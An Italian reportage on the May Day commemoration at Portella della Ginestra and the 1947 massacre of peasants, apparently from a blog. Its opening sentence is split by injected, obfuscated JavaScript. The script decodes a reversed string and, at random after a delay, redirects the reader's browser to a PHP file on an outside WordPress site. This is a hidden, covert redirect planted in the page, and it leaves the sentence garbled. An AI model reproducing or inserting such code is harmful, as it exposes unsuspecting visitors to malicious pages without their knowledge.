Primo maggio a Portella

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Come si può essere in Sicilia il 1o maggio e non (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andare a Portella della Ginestra? è un pellegrinaggio laico in un luogo simbolo per tutti i lavoratori italiani dopo i fatti del 1947 che portarono alla morte di 11 contadini, uomini, donne e bambini, uccisi in circostanze ancora oggi poco chiare. Certa la presenza di Salvatore Giuliano e della sua banda, ma altrettanto probabile quella di servizi segreti italiani e statunitensi. Un’anteprima di quella che sarebbe stata la strategia della tensione di qualche decennio dopo? C’è chi ne è sicuro. Altri glissano; i DS di Piana degli Albanesi, per esempio, distribuiscono un volantino dove si ricorda che Salvatore Giuliano non era Robin Hood, ma non si dice niente delle responsabilità che erano ben più in alto e che portarono anche al successivo sterminio di tutta la banda del picciotto d’onore Salvatore. Certamente fu una strage che voleva ricordare a chi era sempre vissuto con la schiena curva che non doveva alzarla.
Portella della Ginestra è sempre stata il luogo di incontro dei lavoratori e contadini delle province di Palermo e Trapani il 1° maggio, mi dice l’amico Claudio che mi accompagna lungo le strade che salgono nella valle dello Jato. Subito dopo la guerra e la fine del fascismo tante erano le speranze perché un po’ di giustizia sociale arrivasse finalmente anche nel sud colonizzato dai Savoia. Si chiedeva che la terra fosse di chi la lavorava. Era troppo per chi aveva sempre vissuto nel privilegio al di sopra delle vite degli altri. E fu strage.
I sindaci della zona si presentano alla commemorazione tutti incartati in abito scuro e smagliante fascia tricolore, come cioccolatini istituzionali. Ascoltano solenni e pensosi i discorsi di sindacalisti e dell’ex Procuratore di Palermo Caselli (applauditissimo).
“Lo scorso anno i sindaci pensarono di fare un discorso, ma erano tutti di destra e la gente non salì sul prato della strage. Quando finalmente se ne andarono, le persone tornarono a festeggiare il loro 1 maggio” mi raccontano alcuni tra i presenti.
E riconosco la solenne dignità di questi lavoratori che nei volti seri e fieri raccontano di una lotta antica e di una resistenza che non è ancora conclusa. Mi indicano i vecchi che erano a Portella della Ginestra quel maledetto 1° maggio 1947: facce segnate dal tempo, intrichi di rughe scavate dal sole e dall’età in cui gli occhi vivi cercano intorno qualcuno che raccolga il testimone delle loro lotte. Ci sono laggiù giovani, nei loro vestiti di foggia aliena a questa terra, coi capelli rasta, sorreggono bandiere rosse e rosso-nere, raccontano della loro precarietà che in questa terra non è mai mancata; le loro voci fanno sentire che la storia non è ancora finita con la sconfitta degli ultimi, danno ali alla speranza.
Alcune donne stendono sulle pietre aride uno striscione dove c’è scritto solo “resistenza”. Niente poteva essere più sintetico e più loquace.
La resistenza non è cosa conclusa nel lontano 1945, vive ancora in chi cerca di parlare di giustizia, di dignità e di libertà. E a Portella della Ginestra la continuità di questa resistenza si fa palpabile; la memoria corre alle vittime di tutte le stragi che il potere ha organizzato nei decenni della strategia della tensione per stroncare ogni resistenza e speranza; il pensiero va all’oggi di tutti quelle masse di precari e disoccupati che cercano di trovare un sistema di sopravvivenza, ai migranti che traversano le acque azzurre di questo mare e si trovano davanti l’ottusità di un razzismo becero e ignorante. Anche questa è resistenza. di Tiziano Cardosi
[Per la strage di Portella della Ginestra fu indicato come unico colpevole Salvatore Giuliano, ucciso 3 anni dopo. Il suo braccio destro Pisciotta fu avvelenato in carcere nel 1954 dopo avere annunciato rivelazioni sui mandanti. n.d.r.]

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